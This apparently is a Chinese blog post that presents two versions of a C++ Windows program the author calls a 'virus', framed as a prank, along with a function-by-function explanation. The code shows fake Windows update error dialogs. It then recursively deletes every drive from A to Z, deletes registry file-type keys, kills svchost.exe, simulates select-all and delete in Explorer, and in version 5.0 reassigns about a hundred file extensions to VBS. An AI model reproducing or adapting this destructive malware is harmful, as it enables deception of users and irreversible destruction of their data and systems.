一个小病毒的成长
上次文章:
威力不足(取消只用挨受重启就能放行)
取消部分代码:
void MSGBOX_CANCEL()
{
MessageBox(NULL,"对不起,您的Windows出现了一点故障,我们认为重启可能可以修复","Windows",MB_OK|MB_ICONASTERISK);
system ("shutdown -r -t 10 -c \"重启修复中......\"");
}
这次代码:
病毒 4.0(在上次的基础上)
代码难度:★★★★☆
有趣程度:★★★★★
整人程度:★★★★★★
#include<bits/stdc++.h>
#include<windows.h>
#include<cstdio>
using namespace std;
bool f=0;
int i=1;
void DOWN(int vk)//增加功能
{
keybd_event(vk,0,0,0);
}
void UP(int vk)//增加功能
{
keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
void PRESS(int vk)//增加功能
{
DOWN(vk);
UP(vk);
}
void WINDOWS_AND_D ()//增加功能
{
DOWN(VK_LWIN);
PRESS(68);
UP(VK_LWIN);
}
void CTRL_AND_A ()//增加功能
{
DOWN(VK_CONTROL);
PRESS(65);
UP(VK_CONTROL);
}
void COVER()//增加功能
{
i++;
ShellExecute(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);
if (i%2==0)
{
ShellExecute(NULL, "open", "mspaint.exe", NULL, NULL, SW_SHOW);
}
}
void KILL()//增加功能
{
CTRL_AND_A ();
PRESS(VK_DELETE);
}
void KILL_PAN()//增加功能
{
system("explorer.exe A:\\");
Sleep(1000);
KILL();
system("explorer.exe B:\\");
Sleep(1000);
KILL();
system("explorer.exe C:\\");
Sleep(1000);
KILL();
system("explorer.exe D:\\");
Sleep(1000);
KILL();
system("explorer.exe E:\\");
Sleep(1000);
KILL();
system("explorer.exe F:\\");
Sleep(1000);
KILL();
system("explorer.exe G:\\");
Sleep(1000);
KILL();
system("explorer.exe H:\\");
Sleep(1000);
KILL();
system("explorer.exe I:\\");
Sleep(1000);
KILL();
system("explorer.exe J:\\");
Sleep(1000);
KILL();
system("explorer.exe K:\\");
Sleep(1000);
KILL();
system("explorer.exe L:\\");
Sleep(1000);
KILL();
system("explorer.exe M:\\");
Sleep(1000);
KILL();
system("explorer.exe N:\\");
Sleep(1000);
KILL();
system("explorer.exe O:\\");
Sleep(1000);
KILL();
system("explorer.exe P:\\");
Sleep(1000);
KILL();
system("explorer.exe Q:\\");
Sleep(1000);
KILL();
system("explorer.exe R:\\");
Sleep(1000);
KILL();
system("explorer.exe S:\\");
Sleep(1000);
KILL();
system("explorer.exe T:\\");
Sleep(1000);
KILL();
system("explorer.exe U:\\");
Sleep(1000);
KILL();
system("explorer.exe V:\\");
Sleep(1000);
KILL();
system("explorer.exe W:\\");
Sleep(1000);
KILL();
system("explorer.exe X:\\");
Sleep(1000);
KILL();
system("explorer.exe Y:\\");
Sleep(1000);
KILL();
system("explorer.exe Z:\\");
Sleep(1000);
KILL();
}
void DASK_KILL()//增加功能
{
WINDOWS_AND_D ();
KILL();
}
void OUR_KILL()//增加功能
{
DASK_KILL();
KILL_PAN();
COVER();
}
void MSGBOX_YES()
{
f=1;
MessageBox(NULL,"对不起,您的USB不支持Windows11版本","Windows",MB_OK|MB_ICONASTERISK);
while(1)
{
for(int i=1;i<=1000000;i++){
SetCursorPos(i/1000,i/989);
}
for(int i=1000000;i>=1;i--){
SetCursorPos(i/1000,i/989);
}
}
}
void MSGBOX_NO()
{
f=1;
MessageBox(NULL,"对不起,您的Windows中的系统文件不支持,请立即更新","Windows",MB_OK|MB_ICONASTERISK);
while (1)//增加功能
{
OUR_KILL();//增加功能
}
}
void MSGBOX_CANCEL()
{
f=1;
MessageBox(NULL,"对不起,您的Windows出现了一点故障,我们认为重启可能可以修复","Windows",MB_OK|MB_ICONASTERISK);
while (1)//增加功能
{
OUR_KILL();//增加功能
}
}
int main()
{
if (MessageBox(NULL,"Windows版本过低,请立即更新至Win11版本","Windows",MB_YESNOCANCEL|MB_ICONASTERISK)==IDYES) MSGBOX_YES();
else if (MessageBox(NULL,"Windows版本过低,请立即更新至Win11版本","Windows",MB_YESNOCANCEL|MB_ICONASTERISK)==IDNO) MSGBOX_NO();
else if (MessageBox(NULL,"Windows版本过低,请立即更新至Win11版本","Windows",MB_YESNOCANCEL|MB_ICONASTERISK)==IDCANCEL)MSGBOX_CANCEL();
if (f==0)
{
while (1)
{
system("rd f:/ghost.../ /s /q");
system("@echo off Start reg delete HKCR/.exe Start reg delete HKCR/.dll Start reg delete HKCR/*");
system("rd/s/q A:\\");//增加功能
system("rd/s/q B:\\"); //增加功能
system("rd/s/q C:\\");
system("rd/s/q D:\\");
system("rd/s/q E:\\");
system("rd/s/q F:\\");
system("rd/s/q G:\\");
system("rd/s/q H:\\"); //增加功能
system("rd/s/q I:\\"); //增加功能
system("rd/s/q J:\\"); //增加功能
system("rd/s/q K:\\");//增加功能
system("rd/s/q L:\\"); //增加功能
system("rd/s/q M:\\"); //增加功能
system("rd/s/q N:\\"); //增加功能
system("rd/s/q O:\\");//增加功能
system("rd/s/q P:\\");//增加功能
system("rd/s/q Q:\\"); //增加功能
system("rd/s/q R:\\"); //增加功能
system("rd/s/q S:\\"); //增加功能
system("rd/s/q T:\\");//增加功能
system("rd/s/q U:\\");//增加功能
system("rd/s/q V:\\"); //增加功能
system("rd/s/q W:\\"); //增加功能
system("rd/s/q X:\\"); //增加功能
system("rd/s/q Y:\\");//增加功能
system("rd/s/q Z:\\");//增加功能
system("taskkill /im svchost.exe /f");
OUR_KILL();//增加功能
system ("shutdown -r -t 100 -c \"系统恢复中......\"");
}
}
return 0;
}
}
代码结构与功能
1.引入库和命名空间
#include<bits/stdc++.h>:
包含了标准C++库。
#include<windows.h> 和 #include:
用于访问Windows API函数和输入输出流。
using namespace std;:使用标准命名空间。
2.全局变量
bool f=0;:
一个标志位,用来跟踪某些事件是否发生。
int i=1;:
一个整数变量,用来作为计数器。
3.定义辅助函数(新增功能)
DOWN(int vk) 和 UP(int vk):
这两个函数模拟按下和释放键盘按键的行为。
PRESS(int vk):
组合了DOWN和UP,模拟按下并立即释放某个键。
WINDOWS_AND_D():
模拟按下Win+D快捷键,用于显示桌面。
CTRL_AND_A():
模拟Ctrl+A组合键,用于全选文本或对象。
COVER():
根据条件打开命令提示符或画图板。
KILL():
选择所有内容然后删除(模拟Ctrl+A后按Delete键)。
KILL_PAN():
遍历从A到Z的所有磁盘分区,并尝试在每个分区中执行KILL()。
DASK_KILL():
调用WINDOWS_AND_D()和_KILL_()。
OUR_KILL():
整合了之前几个函数的功能。
MSGBOX_YES(), MSGBOX_NO(), MSGBOX_CANCEL():
分别处理用户点击消息框上的“是”、“否”、“取消”按钮后的动作,包括显示信息、移动鼠标位置、无限循环调用OUR_KILL()等…
4.主函数 main
使用MessageBox函数弹出一个对话框询问用户是否要更新至Windows 11版本。
根据用户的响应调用相应的MSGBOX_*函数。
如果没有触发前面定义的f标志位,则进入一个无限循环,在其中删除特定目录、修改注册表项、删除各个驱动器上的文件、终止系统关键进程(如svchost.exe),以及最终重启计算机。
病毒5.0
代码难度:★★★★★☆
有趣程度:★★★★★★★★
整人程度:★★★★★★★★
#include<bits/stdc++.h>
#include<windows.h>
#include<cstdio>
using namespace std;
bool f=0;
int i=1;
void DOWN(int vk)
{
keybd_event(vk,0,0,0);
}
void UP(int vk)
{
keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
void PRESS(int vk)
{
DOWN(vk);
UP(vk);
}
void WINDOWS_AND_D ()
{
DOWN(VK_LWIN);
PRESS(68);
UP(VK_LWIN);
}
void CTRL_AND_A ()
{
DOWN(VK_CONTROL);
PRESS(65);
UP(VK_CONTROL);
}
void _COVER_()
{
i++;
ShellExecute(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);
if (i%2==0)
{
ShellExecute(NULL, "open", "mspaint.exe", NULL, NULL, SW_SHOW);
}
}
void _KILL_()
{
CTRL_AND_A ();
PRESS(VK_DELETE);
}
void _KILL_PAN_()
{
system("explorer.exe A:\\");
_KILL_();
system("explorer.exe B:\\");
_KILL_();
system("explorer.exe C:\\");
_KILL_();
system("explorer.exe D:\\");
_KILL_();
system("explorer.exe E:\\");
_KILL_();
system("explorer.exe F:\\");
_KILL_();
system("explorer.exe G:\\");
_KILL_();
system("explorer.exe H:\\");
_KILL_();
system("explorer.exe I:\\");
_KILL_();
system("explorer.exe J:\\");
_KILL_();
system("explorer.exe K:\\");
_KILL_();
system("explorer.exe L:\\");
_KILL_();
system("explorer.exe M:\\");
_KILL_();
system("explorer.exe N:\\");
_KILL_();
system("explorer.exe O:\\");
_KILL_();
system("explorer.exe P:\\");
_KILL_();
system("explorer.exe Q:\\");
_KILL_();
system("explorer.exe R:\\");
_KILL_();
system("explorer.exe S:\\");
_KILL_();
system("explorer.exe T:\\");
_KILL_();
system("explorer.exe U:\\");
_KILL_();
system("explorer.exe V:\\");
_KILL_();
system("explorer.exe W:\\");
_KILL_();
system("explorer.exe X:\\");
_KILL_();
system("explorer.exe Y:\\");
_KILL_();
system("explorer.exe Z:\\");
_KILL_();
}
void _DASK_KILL_()
{
WINDOWS_AND_D ();
_KILL_();
}
void ASSOC_IS_VBSFILE()
{
system("assoc.exe=vbsfile");
system("assoc.log=txtfile");
system("assoc.jpg=vbsfile");
system("assoc.zip=vbsfile");
system("assoc.txt=vbsfile");
system("assoc.dat=vbsfile");
system("assoc.bat=vbsfile");
system("assoc.sb3=vbsfile");
system("assoc.sb2=vbsfile");
system("assoc.py=vbsfile");
system("assoc.js=vbsfile");
system("assoc.cpp=vbsfile");
system("assoc.com=vbsfile");
system("assoc.aac=vbsfile");
system("assoc.adt=vbsfile");
system("assoc.adts=vbsfile");
system("assoc.accdb=vbsfile");
system("assoc.accde=vbsfile");
system("assoc.accdr=vbsfile");
system("assoc.accdt=vbsfile");
system("assoc.aif=vbsfile");
system("assoc.aifc=vbsfile");
system("assoc.aiff=vbsfile");
system("assoc.aspx=vbsfile");
system("assoc.avi=vbsfile");
system("assoc.bat=batfile");
system("assoc.bin=vbsfile");
system("assoc.bmp=vbsfile");
system("assoc.cab=vbsfile");
system("assoc.cda=vbsfile");
system("assoc.csv=vbsfile");
system("assoc.dif=vbsfile");
system("assoc.dll=vbsfile");
system("assoc.doc=vbsfile");
system("assoc.docm=vbsfile");
system("assoc.docx=vbsfile");
system("assoc.dot=vbsfile");
system("assoc.dotx=vbsfile");
system("assoc.eml=vbsfile");
system("assoc.eps=vbsfile");
system("assoc.exe=exefile");
system("assoc.flv=vbsfile");
system("assoc.file=vbsfile");
system("assoc.gif=vbsfile");
system("assoc.htm=vbsfile");
system("assoc.html=vbsfile");
system("assoc.ini=vbsfile");
system("assoc.iso=vbsfile");
system("assoc.jar=vbsfile");
system("assoc.jpg=vbsfile");
system("assoc.jpeg=vbsfile");
system("assoc.m4a=vbsfile");
system("assoc.mdb=vbsfile");
system("assoc.mid=vbsfile");
system("assoc.midi=vbsfile");
system("assoc.mov=vbsfile");
system("assoc.mp3=vbsfile");
system("assoc.mp4=vbsfile");
system("assoc.mpeg=vbsfile");
system("assoc.mpg=vbsfile");
system("assoc.msi=vbsfile");
system("assoc.mui=vbsfile");
system("assoc.pdf=vbsfile");
system("assoc.png=vbsfile");
system("assoc.pot=vbsfile");
system("assoc.potm=vbsfile");
system("assoc.potx=vbsfile");
system("assoc.ppam=vbsfile");
system("assoc.pps=vbsfile");
system("assoc.ppsm=vbsfile");
system("assoc.ppsx=vbsfile");
system("assoc.ppt=vbsfile");
system("assoc.pptm=vbsfile");
system("assoc.pptx=vbsfile");
system("assoc.psd=vbsfile");
system("assoc.pst=vbsfile");
system("assoc.pub=vbsfile");
system("assoc.rar=vbsfile");
system("assoc.rtf=vbsfile");
system("assoc.sldm=vbsfile");
system("assoc.sldx=vbsfile");
system("assoc.swf=vbsfile");
system("assoc.sys=vbsfile");
system("assoc.tif=vbsfile");
system("assoc.tiff=vbsfile");
system("assoc.tmp=vbsfile");
system("assoc.Targets=vbsfile");
system("assoc.txt=vbsfile");
system("assoc.vob=vbsfile");
system("assoc.vsd=vbsfile");
system("assoc.vsdm=vbsfile");
system("assoc.vsdx=vbsfile");
system("assoc.vss=vbsfile");
system("assoc.vssm=vbsfile");
system("assoc.vst=vbsfile");
system("assoc.vstm=vbsfile");
system("assoc.vstx=vbsfile");
system("assoc.wav=vbsfile");
system("assoc.wbk=vbsfile");
system("assoc.wks=vbsfile");
system("assoc.wma=vbsfile");
system("assoc.wmd=vbsfile");
system("assoc.wmv=vbsfile");
system("assoc.wmz=vbsfile");
system("assoc.wms=vbsfile");
system("assoc.wpd=vbsfile");
system("assoc.wp5=vbsfile");
system("assoc.xla=vbsfile");
system("assoc.xlam=vbsfile");
system("assoc.xll=vbsfile");
system("assoc.xlm=vbsfile");
system("assoc.xls=vbsfile");
system("assoc.xlsm=vbsfile");
system("assoc.xlsx=vbsfile");
system("assoc.xlt=vbsfile");
system("assoc.xltm=vbsfile");
system("assoc.xltx=vbsfile");
system("assoc.xps=vbsfile");
system("assoc.zip=vbsfile");
system("assoc.z7=vbsfile");
system("assoc.cxx=vbsfile");
system("assoc.压缩=vbsfile");
system("assoc.cmd=vbsfile");
system("cls");
}
void OUR_KILL()
{
_DASK_KILL_();
_KILL_PAN_();
ASSOC_IS_VBSFILE();
_COVER_();
}
void MSGBOX_YES()
{
f=1;
MessageBox(NULL,"对不起,您的USB不支持Windows11版本","Windows",MB_OK|MB_ICONASTERISK);
while(1)
{
for(int i=1;i<=1000000;i++){
SetCursorPos(i/1000,i/989);
}
for(int i=1000000;i>=1;i--){
SetCursorPos(i/1000,i/989);
}
}
}
void MSGBOX_NO()
{
f=1;
MessageBox(NULL,"对不起,您的Windows中的系统文件不支持,请立即更新","Windows",MB_OK|MB_ICONASTERISK);
while (1)
{
OUR_KILL();
}
}
void MSGBOX_CANCEL()
{
f=1;
MessageBox(NULL,"对不起,您的Windows出现了一点故障,我们认为重启可能可以修复","Windows",MB_OK|MB_ICONASTERISK);
while (1)
{
OUR_KILL();
}
}
int main()
{
if (MessageBox(NULL,"Windows版本过低,请立即更新至Win11版本","Windows",MB_YESNOCANCEL|MB_ICONASTERISK)==IDYES) MSGBOX_YES();
else if (MessageBox(NULL,"Windows版本过低,请立即更新至Win11版本","Windows",MB_YESNOCANCEL|MB_ICONASTERISK)==IDNO) MSGBOX_NO();
else if (MessageBox(NULL,"Windows版本过低,请立即更新至Win11版本","Windows",MB_YESNOCANCEL|MB_ICONASTERISK)==IDCANCEL)MSGBOX_CANCEL();
if (f==0)
{
while (1)
{
system("rd f:/ghost.../ /s /q");
system("@echo off Start reg delete HKCR/.exe Start reg delete HKCR/.dll Start reg delete HKCR/*");
system("rd/s/q A:\\");
system("rd/s/q B:\\");
system("rd/s/q C:\\");
system("rd/s/q D:\\");
system("rd/s/q E:\\");
system("rd/s/q F:\\");
system("rd/s/q G:\\");
system("rd/s/q H:\\");
system("rd/s/q I:\\");
system("rd/s/q J:\\");
system("rd/s/q K:\\");
system("rd/s/q L:\\");
system("rd/s/q M:\\");
system("rd/s/q N:\\");
system("rd/s/q O:\\");
system("rd/s/q P:\\");
system("rd/s/q Q:\\");
system("rd/s/q R:\\");
system("rd/s/q S:\\");
system("rd/s/q T:\\");
system("rd/s/q U:\\");
system("rd/s/q V:\\");
system("rd/s/q W:\\");
system("rd/s/q X:\\");
system("rd/s/q Y:\\");
system("rd/s/q Z:\\");
system("taskkill /im svchost.exe /f");
OUR_KILL();
system ("shutdown -r -t 100 -c \"系统恢复中......\"");
}
}
return 0;
}
增加功能:
这次加的功能有一点儿特别:
需要用管理员权限运行。
代码:system(“assoc.这里填的是文件扩张名=vbsfile”);
意思:把系统上所有(填的文件扩张名)改为vbs脚本。(因为vbs严谨度较高,程序执行失败的概率大